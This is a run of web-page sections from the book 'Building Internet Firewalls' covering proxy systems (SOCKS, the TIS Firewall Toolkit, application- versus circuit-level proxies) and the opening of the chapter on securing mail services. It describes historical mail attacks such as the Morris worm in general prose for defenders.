Because of these modifications, proxied applications don't work as well as nonproxied applications. They tend to bend protocol specifications, and some clients and servers are less flexible than others.

7.1.2.4 Proxy services aren't workable for some services

Proxying relies on the ability to insert the proxy server between the client and the real server; that requires relatively straightforward interaction between the two. A service like talk that has complicated and messy interactions may never be possible to proxy (see the discussion of talk in Chapter 8, Configuring Internet Services).

7.1.2.5 Proxy services don't protect you from all protocol weaknesses

As a security solution, proxying relies on the ability to determine which operations in a protocol are safe. Not all protocols provide easy ways to do this. The X Window System protocol, for example, provides a large number of unsafe operations, and it's difficult to make it work while removing the unsafe operations. HTTP is designed to operate effectively with proxy servers, but it's also designed to be readily extensible, and it achieves that goal by passing data that's going to be executed. It's impossible for a proxy server to protect you from the data; it would have to understand the data being passed and determine whether it was dangerous or not.

Previous: 6.10 Putting It All Together | Building Internet Firewalls | Next: 7.2 How Proxying Works
6.10 Putting It All Together | Book Index | 7.2 How Proxying Works


[Chapter 7] 7.2 How Proxying Works

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 7.1 Why Proxying? Chapter 7
Proxy Systems 		Next: 7.3 Proxy Server Terminology

7.2 How Proxying Works

The details of how proxying works differ from service to service. Some services provide proxying easily or automatically; for those services, you set up proxying by making configuration changes to normal servers. For most services, however, proxying requires appropriate proxy server software on the server side. On the client side, it needs one of the following:

Custom client software

With this approach, the software must know how to contact the proxy server instead of the real server when a user makes a request (for example, for FTP or Telnet), and how to tell the proxy server what real server to connect.

Custom user procedures

With this approach, the user uses standard client software to talk to the proxy server and tells it to connect to the real server, instead of to the real server directly.

7.2.1 Using Custom Client Software for Proxying

The first approach is to use custom client software for proxying. There are a few problems associated with this approach.

Appropriate custom client software is often available only for certain platforms. If it's not available for one of your platforms, your users are pretty much out of luck. For example, the Igateway package from Sun (written by Jim Thompson) is a proxy package for FTP and TELNET, but you can only use it on Sun machines because it provides only precompiled Sun binaries. If you're going to use proxy software, you obviously need to choose software that's available for the needed platforms.

Even if software is available for your platforms, it may not be software your users want. For example, on the Macintosh, there are dozens of FTP client programs. Some of them have really impressive graphical user interfaces. Others have other useful features; for example, anarchie is a program that combines an Archie client and an FTP client into a single program, so that you can search for a file with Archie and then retrieve it with FTP, all with a single consistent user interface. You're out of luck if the particular client you want to use, for whatever reason, doesn't support your particular proxy server mechanism. In some cases, you may be able to modify clients to support your proxy server, but doing so requires that you have the source code for the client, as well as the tools and the ability to recompile it. Few client programs come with support for any form of proxying.

The happy exception to this rule is WWW client programs, like Mosaic. Many of these programs support proxies of various sorts (typically SOCKS and the CERN HTTP daemon). Most of these programs are fairly new, and were thus written after firewalls and proxy systems had become common on the Internet; recognizing the environment they would be working in, their authors chose to support proxying by design, right from the start.

Using client changes for proxying does not make proxying completely transparent to users. Most sites will use the unchanged clients for internal connections and the modified ones only to make external connections; users need to remember to use the modified program in order to make external connections. Following procedures they've become accustomed to using elsewhere, or procedures that are written in books, may leave them mystified at apparently intermittent results as internal connections succeed and external ones fail. (Using the modified clients internally will work, but it introduces unneccessary dependencies on the proxy server, which is why most sites avoid it.)

In addition to having to choose the right program, users may find themselves doing extra configuration, because the proxy client needs to know how to contact the proxy server. This shouldn't represent a major burden, but it provides an extra place for things to go wrong.

7.2.2 Using Custom User Procedures for Proxying

With the custom procedure approach, the proxy servers are designed to work with standard client software; however, they require the users of the software to follow custom procedures. The user tells the client to connect to the proxy server and then tells the proxy server which host to connect to. Because few protocols are designed to pass this kind of information, the user needs to remember not only what the name of the proxy server is, but also what special means are used to pass the name of the other host.

How does this work? You need to teach your users specific procedures to follow for each protocol. Let's look at FTP. Suppose a user wants to retrieve a file from an anonymous FTP server (e.g., ftp.greatcircle.com). Here's what the user does:

  1. Using any FTP client, the user connects to your proxy server (which is probably running on the bastion host - the gateway to the Internet) instead of directly to the anonymous FTP server.

  2. At the user name prompt, in addition to specifying the name he wants to use, the user also specifies the name of the real server he wants to connect to. If he wants to access the anonymous FTP server on ftp.greatcircle.com, for example, then instead of simply typing "anonymous" at the prompt generated by the proxy server, he'll type "anonymous@ftp.greatcircle.com".

For a more complete example, see the discussion of the TIS Internet Firewall Toolkit later in this section.

Just as using custom software requires some modification of user procedures, using custom procedures places limitations on which clients you can use. Some clients try to do anonymous FTP automatically; they won't know how to go through the proxy server. Some clients may interfere in simpler ways, e.g., by providing a graphical user interface that doesn't allow you type a user name long enough to hold the username and the hostname.

The main problem with using custom procedures, however, is that you have to teach them to your users. If you have a small user base and one that is technically adept, this may not be a problem. However, if you have 10,000 users spread across four continents, it's going to be a problem. On the one side, you have arrayed hundreds of books, thousands of magazine articles, and tens of thousands of Usenet news postings, not to mention whatever previous training or experience the users might have had, all of which attempt to teach users the standard way to use basic Internet services like FTP. On the other side is your tiny voice, telling them how to use a procedure that is at odds with all the other information they're getting. On top of that, your users will have to remember the name of your gateway and the details of how to use it. In any organization of a reasonable size, this approach can't be relied upon.

Previous: 7.1 Why Proxying? | Building Internet Firewalls | Next: 7.3 Proxy Server Terminology
7.1 Why Proxying? | Book Index | 7.3 Proxy Server Terminology


[Chapter 7] 7.3 Proxy Server Terminology

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 7.2 How Proxying Works Chapter 7
Proxy Systems 		Next: 7.4 Using Proxying with Internet Services

7.3 Proxy Server Terminology

This section describes a number of specific types of proxy servers.

7.3.1 Application-Level Versus Circuit-Level Proxies

An application-level proxy is one that knows about the particular application it is providing proxy services for; it understands and interprets the commands in the application protocol. A circuit-level proxy is one that creates a circuit between the client and the server without interpreting the application protocol. The most extreme version of an application-level proxy is an application like Sendmail, which implements a store-and-forward protocol. The most extreme version of a circuit-level proxy is one of the modern hybrid proxy gateways that looks like a proxy to the outside but like a filtering router to the inside.

In general, application-level proxies use modified procedures, and circuit-level proxies use modified clients. This has to do with the practicalities of proxying. In order to make a proxy connection, you have to know where the connection is supposed to go. A hybrid gateway can simply intercept connections, but a proxying host can only receive connections that are bound for it; something else has to tell it where to make the onward connection. An application-level proxy can get that information in the application protocol (either by using design features, or by reinterpreting user-supplied data). A circuit-level proxy can't interpret the application protocol and needs to have the information supplied to it through other means (e.g., by using a modified client that gives the server the destination address). Because the ability to use unmodified clients is a useful feature, application-level proxies generally are designed to take advantage of their application protocol knowledge (so they use modified procedures). Circuit-level proxies usually have no way to use modified procedures, so they use modified clients.

Although there are no known modified-client application-level proxies, there are modified-procedure circuit-level proxies. plug-gw, for example, described in "Generic Proxying with TIS FWTK" later in this chapter, uses modified procedures (the connection is made to the proxy server, instead of the destination host) and is a circuit-level proxy. It bases destination decisions purely on the source address, and the source and destination ports of the connection.

The advantage of a circuit-level proxy is that it provides service for a wide variety of different protocols. Most circuit-level proxy servers are also generic proxy servers; they can be adapted to serve almost any protocol. Not every protocol can easily be handled by a circuit-level proxy, however. Protocols like FTP, which communicate port data from the client to the server, require some protocol-level intervention, and thus some application-level knowledge. The disadvantage of a circuit-level proxy server is that it provides very little control over what happens through the proxy. Like a packet filter, it controls connections on the basis of their source and destination and can't easily determine whether the commands going through it are safe or even in the expected protocol. Circuit-level proxies are easily fooled by servers set up at the port numbers assigned to other servers.

7.3.2 Generic Versus Dedicated Proxies

Although "application-level" and "circuit-level" are frequently used terms, we more often distinguish between "dedicated" and "generic" proxy servers. A dedicated proxy server is one that serves a single protocol; a generic proxy server is one that serves multiple protocols. In practice, dedicated proxy servers are application-level, and generic proxy servers are circuit-level. Depending on how you argue about shades of meaning, it might be possible to produce a generic application-level proxy server (one that understands a wide range of protocols) or a dedicated circuit-level proxy server (one that provides only one service, but doesn't understand the protocol for it). Neither of these ever occur, however, so we use "dedicated" and "generic" merely because we find them somewhat more intuitive terms than "application-level" and "circuit-level."

7.3.3 Intelligent Proxy Servers

A proxy server can do a great deal more than simply relay requests; one that does is an intelligent proxy server. For example, the CERN HTTP proxy server caches data, so that multiple requests for the same data don't go out across the Internet. Proxy servers (particularly application-level servers) can provide better logging and access controls than those achieved through other methods, although few existing proxy servers take full advantage of the opportunities. As proxy servers mature, their abilities are increasing rapidly. Now that there are multiple proxy suites that provide basic functionality, they're beginning to compete by adding features. It's easier for a dedicated, application-level proxy server to be intelligent; a circuit-level proxy has limited abilities.

Previous: 7.2 How Proxying Works | Building Internet Firewalls | Next: 7.4 Using Proxying with Internet Services
7.2 How Proxying Works | Book Index | 7.4 Using Proxying with Internet Services


[Chapter 7] 7.4 Using Proxying with Internet Services

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 7.3 Proxy Server Terminology Chapter 7
Proxy Systems 		Next: 7.5 Proxying Without a Proxy Server

7.4 Using Proxying with Internet Services

Because proxying interferes with communications between a client and a server, it has to be adapted separately to each service. Some things that are easy to do normally become much more difficult when a proxy is involved.

The ideal service for proxying makes a TCP connection in one direction; has only secure commands; has some piece of variable-length, user-specified data that's passed to the server; and is being used from an internal client to an external server. The following sections look at these ideal situations, and some that aren't so ideal.

7.4.1 TCP Versus Other Protocols

Because TCP is a connection-oriented protocol, you only go through the overhead of setting up the proxy once, and then you continue to use that connection. UDP has no concept of connections; every packet is a separate transaction requiring a separate decision from the proxy server. TCP is therefore easier to proxy (although the UDP Packet Relayer package is a generic UDP proxy server). ICMP is so low-level, it's almost impossible to proxy.

7.4.2 Unidirectional Versus Multidirectional Connections

It's easy for a proxy server to intercept the initial connection from a client to a server. It's harder for it to intercept a return connection. Either both ends of the conversation have to be aware of the existence of the proxy server, or the server needs to be able to interpret and modify the protcol to make certain the return connection is made correctly. For example, normal-mode FTP requires the proxy server to intercept the PORT command the client sends to the server, open a connection from the proxy to the client at that port, and send a different PORT command (for a port on the proxy) to the real server. It's not enough for the proxy server to simply read the PORT command on the way past, because that port may already be in use. Similar problems are going to arise in any protocol requiring a return connection.

Anything more complex than an outbound connection and a return is even worse. The talk service is an example; see the discussion in Chapter 8 for an example of a service with a tangled web of connections that's almost impossible to proxy. (It doesn't help any that talk is partly UDP-based, but even if it were all TCP, it would still be a proxy-writer's nightmare.)

7.4.3 Protocol Security

For some services, proxying may be technically easy, but pointless from a security point of view. If a protocol is inherently unsafe, proxying it without doing anything else will not make it any safer. For example, X11 is mildly tricky to proxy, for reasons discussed at length in Chapter 8, but the real reason it's not widely proxied through firewalls has nothing to do with technical issues (proxy X servers are not uncommon as ways to extend X capabilities). The real reason is that X provides a number of highly insecure abilities to a client, and a proxy system for a firewall needs to catch unsafe operations and at least offer the user the ability to prevent them. This is reasonably possible with X (and the TIS FWTK provides a proxy called x-gw that does this), but it requires more application knowledge than would be necessary for a safer protocol.

If it's difficult to distinguish between safe and unsafe operations in a protocol or impossible to use the service at all if unsafe operations are prevented, proxying may not be a viable solution. In that case, there may be no good solution, and you may be reduced to using a victim host, as discussed in Chapter 5, Bastion Hosts. Some people consider HTTP to be such a protocol (because it may end up transferring programs that are executed transparently by the client).

7.4.4 User-Specified Data

If you're going to use modified-procedure proxying, you need a modifiable part of the procedure. Programs like FTP and HTTP clients in which the client passes a nice long user-specified string to the server, are perfect. (FTP clients pass a user name to the server; HTTP clients pass a URL.) A program like ping in which the client passes absolutely no data to the server is fundamentally impossible to proxy using an unmodified client.[1]

[1] People have been known to claim that forcing users to log into a bastion host to use ping is an extreme version of modified-procedure proxying. It's clearly a modified procedure, but the "proxy" part is hard to detect.

7.4.5 Internal Versus External Clients

Most proxy servers are designed for situations in which the client is on the inside and the server on the outside, of the firewall. This is because most proxy servers require some cooperation at the client's end, and the modifiable clients and the trainable users are probably both inside the firewall. Proxying for external clients works only in a few situations:

  • Using modified procedures to provide inbound services for your own users. (See Chapter 10, Authentication and Inbound Services for more information about this situation.)

  • Using something like plug-gw to redirect connections from the proxy server to an internal machine. A program of this kind will support any number of clients, as long as they all want to connect to the same internal server.

  • Providing a special service for which you distribute clients. If you write your own Internet service, you can easily design the clients to include proxy support.

Previous: 7.3 Proxy Server Terminology | Building Internet Firewalls | Next: 7.5 Proxying Without a Proxy Server
7.3 Proxy Server Terminology | Book Index | 7.5 Proxying Without a Proxy Server


[Chapter 7] 7.5 Proxying Without a Proxy Server

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 7.4 Using Proxying with Internet Services Chapter 7
Proxy Systems 		Next: 7.6 Using SOCKS for Proxying

7.5 Proxying Without a Proxy Server

Some services, particularly the so-called "store-and-forward" services such as SMTP, NNTP, and NTP, naturally support proxying. These services are all designed so that messages (email messages for SMTP, Usenet news postings for NNTP, and clock settings for NTP) are received by a server and then stored until they can be forwarded to another appropriate server or servers. For SMTP, the messages are forwarded towards an email message's destination. For NNTP and NTP, the messages are forwarded to all neighbor servers. With such a scheme, each intermediate server is effectively acting as a proxy for the original sender or server.

If you examine the "Received:" headers of incoming Internet email (these headers trace a message's path through the network from sender to recipient), you quickly discover that very few messages travel directly from the sender's machine to the recipient's machine. It's far more common these days for the message to pass through at least four machines:

  • The sender's machine

  • The outgoing mail gateway at the sender's site (or the sender's Internet service provider)

  • The incoming mail gateway at the recipient's site

  • Finally, the recipient's machine

Each of the intermediate servers (the mail gateways) is acting as a proxy server for the sender, even though the sender may not be dealing with them directly. Figure 7.2 illustrates this situation.

Figure 7.2: Store-and-forward services (like SMTP) naturally support proxying

Previous: 7.4 Using Proxying with Internet Services | Building Internet Firewalls | Next: 7.6 Using SOCKS for Proxying
7.4 Using Proxying with Internet Services | Book Index | 7.6 Using SOCKS for Proxying


[Chapter 7] 7.6 Using SOCKS for Proxying

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 7.5 Proxying Without a Proxy Server Chapter 7
Proxy Systems 		Next: 7.7 Using the TIS Internet Firewall Toolkit for Proxying

7.6 Using SOCKS for Proxying

The SOCKS package, originally written by David Koblas and Michelle Koblas, and currently maintained by Ying-Da Lee, is an example of the type of proxy system that requires custom clients. SOCKS is freely available, and it has become the de facto standard proxying package on the Internet. The package is on track to become an official Internet standard: a Request For Comments (RFC) has been written and is currently undergoing the approval process. Appendix B, Tools tells you how to get SOCKS.

In order to make it easy to support new clients, SOCKS is extremely generic. This is part of what makes it so popular, but it has the disadvantage that SOCKS can't provide intelligent logging or access control. It provides logging, but most of the logging is done on the client, making it difficult to collect the information in a single place for examination. SOCKS does log connection requests on the server; provides access control by source, and destination host and protocol; and allows configurable responses to access denials. For example, it can be configured to notify an administrator of incoming access attempts and to let users know why their outgoing access attempts were denied.

One drawback of SOCKS is that it works only for TCP-based clients; it doesn't work for UDP-based clients (like Archie clients, for example). If you are using a UDP-based client, you may want to get another package, the UDP Packet Relayer. This program serves much the same function for UDP-based clients as SOCKS serves for TCP-based clients. Like SOCKS, the UDP Packet Relayer is freely available on the Internet.

The prime advantage of SOCKS is its popularity. Because SOCKS is widely used, server implementations and SOCKS-ified clients (i.e., versions of programs like FTP and Telnet that have already been converted to use SOCKS) are commonly available, and help is easy to find. This can be a double-edged sword; cases have been reported where intruders to firewalled sites have installed their own SOCKS-knowledgeable clients.

The SOCKS package includes the following components:

  • The SOCKS server. This server must run on a UNIX system, although it has been ported to many different variants of UNIX.

  • The SOCKS client library for UNIX machines.

  • SOCKS-ified versions of several standard UNIX client programs such as FTP and Telnet.

In addition, client libraries for Macintosh and Windows systems are available as separate packages.

Figure 7.3 shows the use of SOCKS for proxying.

Figure 7.3: Using SOCKS for proxying

Many Internet client programs (both commercial and freely available) already have SOCKS support built in to them as a compile-time or a run-time option.

How do you convert a client program to use SOCKS? You need to modify the program so it talks to the SOCKS server, rather than trying to talk to the real world directly. You do this by recompiling the program with the SOCKS library.

Converting a client program to use SOCKS is usually pretty easy. The SOCKS package makes certain assumptions about how client programs work, and most client programs already follow these assumptions. For a complete summary of these assumptions, see the file in the SOCKS release called What_SOCKS_expects.

To convert a client program, you must replace all calls to standard network functions with calls to the SOCKS versions of those functions. Here are the calls:
Standard Network Function | SOCKS Version
connect() | Rconnect()
getsockname() | Rgetsockname()
bind() | Rbind()
accept() | Raccept()
listen() | Rlisten()
select() | Rselect()
You can usually do this simply by adding the following to the "CFLAGS=" line of the program's Makefile.

-Dconnect=Rconnect
     -Dgetsockname=Rgetsockname
     -Dbind=Rbind
     -Daccept=Raccept
     -Dlisten=Rlisten
     -Dselect=Rselect

Then, recompile and link the program with the SOCKS client library.

The client machine needs to have not only the SOCKS-modified clients, but also something to tell it what SOCKS server to contact for what services (on UNIX machines, the /etc/socks.conf file). In addition, if you want to control access by user, the client machines must be running identd, which will allow the SOCKS server to identify what user is controlling the port that the connection comes from. Because there's no way for the SOCKS server to verify that the identd server is reliable, identd can't be trusted if there is anybody who might intentionally be circumventing it.

Previous: 7.5 Proxying Without a Proxy Server | Building Internet Firewalls | Next: 7.7 Using the TIS Internet Firewall Toolkit for Proxying
7.5 Proxying Without a Proxy Server | Book Index | 7.7 Using the TIS Internet Firewall Toolkit for Proxying


[Chapter 7] 7.7 Using the TIS Internet Firewall Toolkit for Proxying

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 7.6 Using SOCKS for Proxying Chapter 7
Proxy Systems 		Next: 7.8 What If You Can't Proxy?

7.7 Using the TIS Internet Firewall Toolkit for Proxying

The free TIS FWTK, from Trusted Information Systems, includes a number of proxy servers of various types. The TIS FWTK also provides a number of other tools for authentication and other purposes, which are discussed where appropriate in other chapters of this book. Appendix B provides information on how to get the TIS FWTK.

Whereas SOCKS attempts to provide a single, general proxy, the TIS FWTK provides individual proxies for the most common Internet services (as shown in Figure 7.4). The idea is that by using small separate programs with a common configuration file, it can provide intelligent proxies that are provably safe, while still allowing central control. The result is an extremely flexible toolkit and a rather large configuration file.

Figure 7.4: Using the TIS FWTK for proxying

7.7.1 FTP Proxying with TIS FWTK

The TIS FWTK provides FTP proxying either with modified client programs or modified user procedures (ftp-gw). If you wish to use the same machine to support proxied FTP and straight FTP (for example, allowing people on the Internet to pick up files from the same machine that does outbound proxying for your users), the toolkit will support that but you will have to use modified user procedures.

Using modified user procedures is the most common configuration for the TIS FWTK. The support for modified client programs is somewhat half-hearted (for example, no modified clients or libraries are provided). Because it's a dedicated FTP proxy, it provides logging, denial, and extra user authentication of particular FTP commands.

7.7.2 Telnet and rlogin Proxying with TIS FWTK

The TIS FWTK Telnet (telnet-gw) and rlogin (rlogin-gw) proxies support modified user procedures only. Users connect via Telnet or rlogin to the proxy host, and instead of getting a "login" prompt for the proxy host, they are presented with a prompt from the proxy program, allowing them to specify what host to connect to (and whether to make an X connection if the x-gw software is installed, as we describe in "Other TIS FWTK Proxies" below).

7.7.3 Generic Proxying with TIS FWTK

The TIS FWTK provides a purely generic proxy, plug-gw, which requires no modifications to clients, but supports a limited range of protocols and uses. It examines the address it received a connection from and the port the connection came in on, and it creates a connection to another host on an appropriate port. You can't specify which host it should connect to while making that connection; it's determined by the incoming host. This makes plug-gw inappropriate for services that are employed by users, who rarely want to connect to the same host every time. It provides logging but no other security enhancements, and therefore needs to be used with caution even in situations where it's appropriate (e.g., for NNTP connections).

7.7.4 Other TIS FWTK Proxies

TIS FWTK proxies HTTP and Gopher via the http-gw program. This program supports either modified clients or modified procedures. Most HTTP clients support proxying; you just need to tell them where the proxy server is. To use http-gw with an HTTP client that's not proxy-aware, you add http://firewall/ in front of the URL. Using it with a Gopher client that is not proxy-aware is slightly more complex, since all the host and port information has to be moved into the path specification.

x-gw is an X gateway. It provides some minimal security by requiring confirmation from the user before allowing a remote X client to connect. The X gateway is started up by connecting to the Telnet or rlogin proxy and typing "x", which puts up a control window.

Previous: 7.6 Using SOCKS for Proxying | Building Internet Firewalls | Next: 7.8 What If You Can't Proxy?
7.6 Using SOCKS for Proxying | Book Index | 7.8 What If You Can't Proxy?


[Chapter 7] 7.8 What If You Can't Proxy?

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 7.7 Using the TIS Internet Firewall Toolkit for Proxying Chapter 7
Proxy Systems 		Next: 8. Configuring Internet Services

7.8 What If You Can't Proxy?

You might find yourself unable to proxy a service for one of three reasons:

  • There's no proxy server available.

  • Proxying doesn't secure the service sufficiently.

  • You can't modify the client, and the protocol doesn't allow you to use modified procedures.

We describe each of these situations in the following sections.

7.8.1 No Proxy Server Is Available

If the service is proxyable, but you can't find a modified-procedure server or modified clients for your platform, you can always do the work yourself. Modifying a normal TCP client program to use SOCKS is relatively trivial. As long as the SOCKS libraries are available for the platform you're interested in, it's usually a matter of changing a few library calls and recompiling. You do have to have the source for the client.

Writing your own modified-procedure server is considerably more difficult, because it means writing the server from scratch.

7.8.2 Proxying Won't Secure the Service

If you need to use a service that's inherently insecure, proxying can't do much for you. You're going to need to set up a victim machine, as described in Chapter 5, and let people run the service there. This may be difficult if you're using a dual-homed nonrouting host to make a firewall where all connections must be proxied; the victim machine is going to need to be on the Internet side of the dual-homed host.

Using an intelligent application-level server that filters out insecure commands may help, but requires extreme caution in implementing the server and may make important parts of the service nonfunctional.

7.8.3 Can't Modify Client or Procedures

There are some services that just don't have room for modifying user procedures (for example ping and traceroute). Fortunately, services that don't allow the user to pass any data to the server tend to be small, stupid, and safe. You may be able to safely provide them on the bastion host, letting users log in to the bastion host but giving them a shell that only allows them to run the un-proxyable services you want to support.

Previous: 7.7 Using the TIS Internet Firewall Toolkit for Proxying | Building Internet Firewalls | Next: 8. Configuring Internet Services
7.7 Using the TIS Internet Firewall Toolkit for Proxying | Book Index | 8. Configuring Internet Services


[Chapter 8] Configuring Internet Services

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 7.8 What If You Can't Proxy? Chapter 8 Next: 8.2 File Transfer

8. Configuring Internet Services

Contents:
Electronic Mail
File Transfer
Terminal Access (Telnet)
Remote Command Execution
Network News Transfer Protocol (NNTP)
World Wide Web (WWW) and HTTP
Other Information Services
Information Lookup Services
Real-Time Conferencing Services
Domain Name System (DNS)
syslog
Network Management Services
Network Time Protocol (NTP)
Network File System (NFS)
Network Information Service/Yellow Pages (NIS/YP)
X11 Window System
Printing Protocols (lpr and lp)
Analyzing Other Protocols

This chapter describes the major Internet services: how they work, what their packet filtering and proxying characteristics are, what their security implications are with respect to firewalls, and how to make them work with a firewall. The purpose of this chapter is to give you the information that will help you decide which services to offer at your site and to help you configure these services so they are as safe and as functional as possible in your firewall environment.

This chapter is intended primarily as a reference; it's not necessarily intended to be read in depth from start to finish, though you might learn a lot of interesting stuff by skimming the whole thing.

This chapter assumes that you are familiar with what the various Internet services are used for, and concentrates on explaining how to provide those services through a firewall. For introductory information about what particular services are used for, see Chapter 2, Internet Services.

Where we discuss the packet filtering characteristics of particular services, we use the same abstract tabular form we used to show filtering rules in Chapter 6, Packet Filtering. You'll need to translate various abstractions like "internal," "external," and so on to appropriate values for your own configuration. See Chapter 6 for an explanation of how you can translate abstract rules to rules for particular products and packages, as well as more information on packet filtering in general.

Where we discuss the proxy characteristics of particular services, we rely on concepts and terminology discussed in Chapter 7, Proxy Systems.

Throughout this chapter, for each service, we'll show how its packets flow through a firewall. The following figures show the basic packet flow: when a service runs directly (Figure 8.1) and when a proxy service is used (Figure 8.2). The other figures in this chapter show variations of these figures for individual services. If there are no specific figures for a particular service, you can assume that these generic figures are appropriate for that service.

Figure 8.1: A generic direct service

Figure 8.2: A generic proxy service

You can find information on particular resources and tools (including where to get them) in Appendix A, Resources and Appendix B, Tools.

NOTE: We frequently characterize client port numbers as "a random port number above 1023." Some protocols specify this as a requirement, and on others it is merely a convention (spread to other platforms from UNIX, where ports below 1024 cannot be opened by regular users). Although it is theoretically allowable for clients to use ports below 1024 on non-UNIX platforms, it is extraordinarily rare: rare enough that many firewalls, including ones on major public sites that handle clients of all types, rely on this distinction and report never having rejected a connection because of it.

8.1 Electronic Mail

From a user's point of view, electronic mail is perhaps the most fundamental Internet service. Unfortunately, it's also one of the most vulnerable. Mail servers make extremely tempting targets, because they accept arbitrary data from arbitrary external hosts.

A mail system has three parts, which may be implemented by different programs or may be implemented by the same program, in any combination.

  • A server accepts mail from external hosts or sends it to external hosts

  • A delivery agent puts the mail in the correct mailbox on the local host

  • A user agent lets the recipient read the mail and compose outgoing mail

Each of these parts is vulnerable for a different reason:

  • The server directly accepts commands (related to delivering mail) from external hosts; for this reason, if the server isn't secure, it may end up immediately giving an attacker all the access it has itself.

  • The delivery agent needs special permissions because it needs to be able to write into every user's mailbox. Although the delivery agent doesn't need to talk to the external world, if it can be subverted somehow, the intruder obtains very broad access.

  • The user agent runs as one user, and it doesn't talk to the external world, which limits its power and accessibility; however, it can often run arbitrary other programs in response to the data received.

Because it talks to the external world, the server is vulnerable to attacks in the commands it gets from the outside world; these are called command channel attacks. The delivery agent and the user agent don't receive the commands directly, but they may be vulnerable to dangers in the content of the mail message; these are called data-driven attacks. In addition, any program may be vulnerable to misuse by somebody who can control how it is executed (what arguments are used, what user is running it, what its data files are), through command-line bugs.

The Morris worm used a command channel attack against Sendmail; it issued a special Sendmail debugging command that allowed it to tell Sendmail to execute anything the intruder liked.

Data-driven attacks can exploit the delivery agent, the user agent, or the user. (The server generally pays no attention to the data.) For example, on UNIX machines, most versions of Sendmail use /bin/mail as a local delivery agent. /bin/mail is also a user agent and therefore has extensions to allow it to execute arbitrary commands. (If you have only one terminal, you're typing a mail message, and you want to see the output of some other command, it's very useful to be able to get your user agent to run the command for you.) Unfortunately, these extensions are not always disabled when /bin/mail is running as a delivery agent, and the data in the mail message is sometimes capable of triggering them, allowing an outsider to run arbitrary commands on your system merely by sending appropriately formatted mail to you.

User agents may also be subverted even when they're acting as designed, as user agents. Today's multimedia mail readers are particularly subject to attacks of this kind, because they need to execute other programs to "display" a message for you (for example, a graphics program to display a picture or an audio program to play an audio attachment), but older mail readers were vulnerable as well. One Christmas, most of IBM's corporate network was put out of commission by a data-driven attack. Users received a message, usually from someone they knew and trusted, that said simply "run me". Because it appeared to be coming from a friend, most people did run it; when they did, it displayed a Christmas tree, and then resent itself to all of the entries in the reader's address book (personal alias file). It propagated very fast, and the network melted down under the force of trying to send millions of copies.

Finally, even if the server, the delivery agent, and the user agent are bug-free, some data-driven attacks work by subverting the user, and getting the user to perform some action the attacker wants. Sometimes that action involves running the program the attacker sent in the mail. Sometimes it's something more direct; for example, it's common for attackers to send mail to users that appears to come from their system's managers and that directs them to change their password to something specific. If the users do so, the attacker can now access their account.

How well does a firewall protect against these different types of attacks?

Command channel attacks

A firewall can protect against command channel attacks by restricting the number of machines to which attackers can open command channels and by providing a secured server on those machines.

Data-driven attacks

There isn't much a firewall can do about data-driven attacks; the data has to be allowed through, or you won't actually be able to receive mail. In some cases it's possible to filter out "dangerous" characters in the mail addresses if you can somehow recognize them. Your best bet, though, is to run up-to-date delivery and user agents and to educate your users. Doing so will protect against most data-driven attacks. In any case, because data-driven attacks tend to be complicated and difficult to get information back from, they are relatively rare.

Command-line bugs

Command-line bugs are outside the scope of a firewall, because they can be exploited only by someone who is already able to execute commands on your system. One purpose of a firewall is to keep attackers from getting that ability.

The following sections describe the two protocols commonly used for electronic mail: SMTP and POP, as well as the MIME extension.

8.1.1 Simple Mail Transfer Protocol (SMTP)

On the Internet, electronic mail exchange between mail servers is handled with SMTP. A host's SMTP server accepts mail and examines the destination address to decide whether to deliver the mail locally or to forward it on to some other machine. If it decides to deliver the mail locally, it recodes the mail headers and delivery address into the proper form for the local delivery program, and it then hands the mail to that program. If it decides to forward the mail to another machine, it modifies the headers, and contacts that machine (usually via SMTP, but sometimes via UUCP or another protocol), and forwards the mail.

SMTP is a store-and-forward system, and such systems are well-suited to firewall applications, particularly those using proxy services. In Chapter 7, Figure 7.2 shows how mail sent from an individual user's workstation is directed initially to a gateway system before leaving the user's own network. Mail entering a network goes to a gateway system on that network before being distributed to individual users on other hosts.

8.1.1.1 SMTP for UNIX: Sendmail

The mailer most commonly used on UNIX systems is Sendmail. Sendmail is very powerful, but it also has a long and troubling history of major and minor security problems. Other mailers are available, including smail 3, MMDF, and Z-Mail, but none of them appears to be particularly more secure than a modern version of Sendmail.

Sendmail's security problems have been widely discussed, while the problems of these other mailers have not. However, the lack of public discussion about other mailers should not lead you to assume these mailers are any more secure than Sendmail. While some of them are intended to be more secure than Sendmail, there is nothing to guarantee they are. Most of these alternative mailers are apparently intended to address Sendmail's incredibly baroque configuration files and its occasional failure to comply with standards, or to provide features Sendmail doesn't have. Additional security is often an afterthought, not a design feature. These mailers are simply not as widely used as Sendmail, and therefore, they have fewer people - with both good intentions and bad - who are examining them for security problems. This fact, more than any inherent superiority, is probably the reason for the apparently greater security of these alternative mailers; it's not that the problems aren't there, it's just that not as many people know what they are.

Sendmail is the devil that everybody knows; this is both an advantage and a disadvantage. On the one hand, problems are going to be found in Sendmail because that's where lots of people are looking for them (because lots of people use Sendmail). On the other hand, what problems are found are likely to be fixed very quickly (again, because lots of people use Sendmail). Sendmail is very actively supported on security issues.

8.1.1.2 Why does Sendmail have security problems?

One of the reasons Sendmail has security problems is that it's a very complex program. It performs several different functions, and it requires the collection of permissions necessary to perform all of those functions. Sendmail needs root privileges for a number of reasons; for example, these privileges allow Sendmail to:

  • Listen on port 25 (a privileged port) for incoming SMTP connections.

  • Operate as a particular user to read .forward files and :include: alias files owned by that user, and to run programs specified by those files.

  • Execute certain kernel system calls that (in some versions of UNIX) are restricted to programs running as root, for example, to determine the amount of free disk space available to accept incoming messages.

  • Protect files in the mail queue (i.e., messages in transit) from snooping by unprivileged users

These root permissions can be a liability, though, when Sendmail acts as an SMTP server; an attacker who manages to exploit a bug over an SMTP connection is now talking to a process that is running as root. The process can do essentially anything on the target machine at the attacker's bidding. Sendmail tries to be careful to give up its privileges whenever it doesn't really need them, but there have still been quite a number of privilege-related bugs over the years.

